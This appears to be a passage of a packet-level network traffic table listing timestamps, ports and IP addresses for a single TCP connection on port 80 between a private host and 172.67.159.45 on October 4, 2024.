Oct 4, 2024 04:28:05.616236925 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616238117 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616264105 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616285086 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616463900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616478920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616492033 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616506100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616513014 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616522074 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616537094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616538048 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616552114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616580009 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616597891 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616615057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616630077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616642952 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616655111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616662025 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616668940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616682053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616688013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616695881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616708994 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616720915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616725922 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616734982 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616748095 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616754055 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616767883 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616776943 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616781950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616795063 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616800070 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616808891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616822958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.616846085 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.616883993 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.689019918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689065933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689083099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689096928 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689110994 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689124107 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689122915 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.689137936 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689165115 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.689166069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689189911 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689201117 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.689209938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689224005 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689224958 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.689239025 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689260006 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.689269066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689282894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689296961 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689301014 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.689312935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.689323902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.689347029 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.689378977 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696163893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696187973 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696202993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696274042 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696293116 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696310043 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696324110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696336031 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696340084 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696366072 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696387053 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696424007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696436882 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696471930 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696486950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696501017 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696505070 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696531057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696532011 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696544886 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696557999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696558952 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696589947 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696616888 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696644068 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696657896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696671963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696687937 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696717024 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696762085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696777105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696790934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696805000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696808100 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696820021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696831942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.696849108 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.696886063 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.708966017 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709048986 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.709244967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709259987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709273100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709286928 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709300041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709301949 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.709314108 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709331989 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.709378958 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.709382057 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709395885 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709409952 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709422112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709431887 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.709434986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709448099 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709456921 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.709462881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709476948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709500074 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.709536076 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709541082 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.709583044 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.709707975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709723949 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709737062 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709749937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709759951 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.709764004 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709810019 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.709893942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709908962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709923983 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709939003 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709939003 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.709954023 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709968090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.709983110 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.709983110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710016012 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.710027933 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710031986 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.710043907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710057974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710073948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710086107 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.710154057 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.710403919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710419893 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710432053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710444927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710458994 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.710480928 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.710561991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710627079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710671902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.710688114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710702896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710709095 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.710717916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710731030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710736990 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.710743904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710777998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.710825920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710835934 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.710839987 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710853100 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710866928 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710880995 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.710882902 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.710923910 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.711019993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711035013 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711045980 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711059093 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711071014 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711074114 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.711085081 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711098909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711111069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711117029 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.711124897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711157084 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.711174011 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711184025 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.711188078 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711201906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711214066 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711221933 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.711226940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711241007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711253881 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711263895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.711268902 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711282969 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711296082 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711304903 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.711313963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711328030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711332083 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.711340904 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711354971 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711360931 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.711369991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711400032 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711401939 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.711416006 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711430073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711443901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711451054 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.711451054 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.711457968 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711472034 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711483955 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.711484909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711498976 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.711555004 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.781369925 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.781424046 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.781436920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.781460047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.781475067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.781486988 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.781501055 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.781507969 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.781507969 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.781507969 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.781507969 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.781547070 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.781601906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.781616926 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.781630993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.781641960 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.781652927 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.781672955 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.781682014 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.781685114 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.781698942 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.781725883 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.781745911 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.782027960 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.782073975 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.788454056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.788470984 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.788484097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.788497925 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.788511038 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.788518906 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.788523912 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.788537979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.788547993 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.788589954 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.788595915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.788641930 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.788984060 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789009094 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789031029 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789042950 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.789048910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789072037 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.789077044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789092064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789097071 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.789104939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789139986 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.789139986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789154053 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789169073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789182901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789199114 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.789206982 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.789218903 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789233923 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789247990 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789261103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789273977 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.789288998 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.789318085 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.799670935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799690962 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799712896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799727917 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799736977 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.799751043 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799763918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799767971 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.799776077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799806118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799812078 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.799822092 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799834967 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799834967 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.799848080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799861908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799874067 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.799875021 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799887896 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799913883 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.799922943 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799937010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799942017 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.799949884 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799964905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.799967051 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.799998999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800004959 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800010920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800024033 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800036907 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800040007 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800065994 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800076962 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800081968 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800096035 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800112963 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800147057 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800179958 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800194025 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800206900 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800220966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800225019 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800234079 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800246000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800260067 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800268888 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.800291061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800303936 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.800308943 CEST	49740	80	192.168.2.6	172.67.159.45
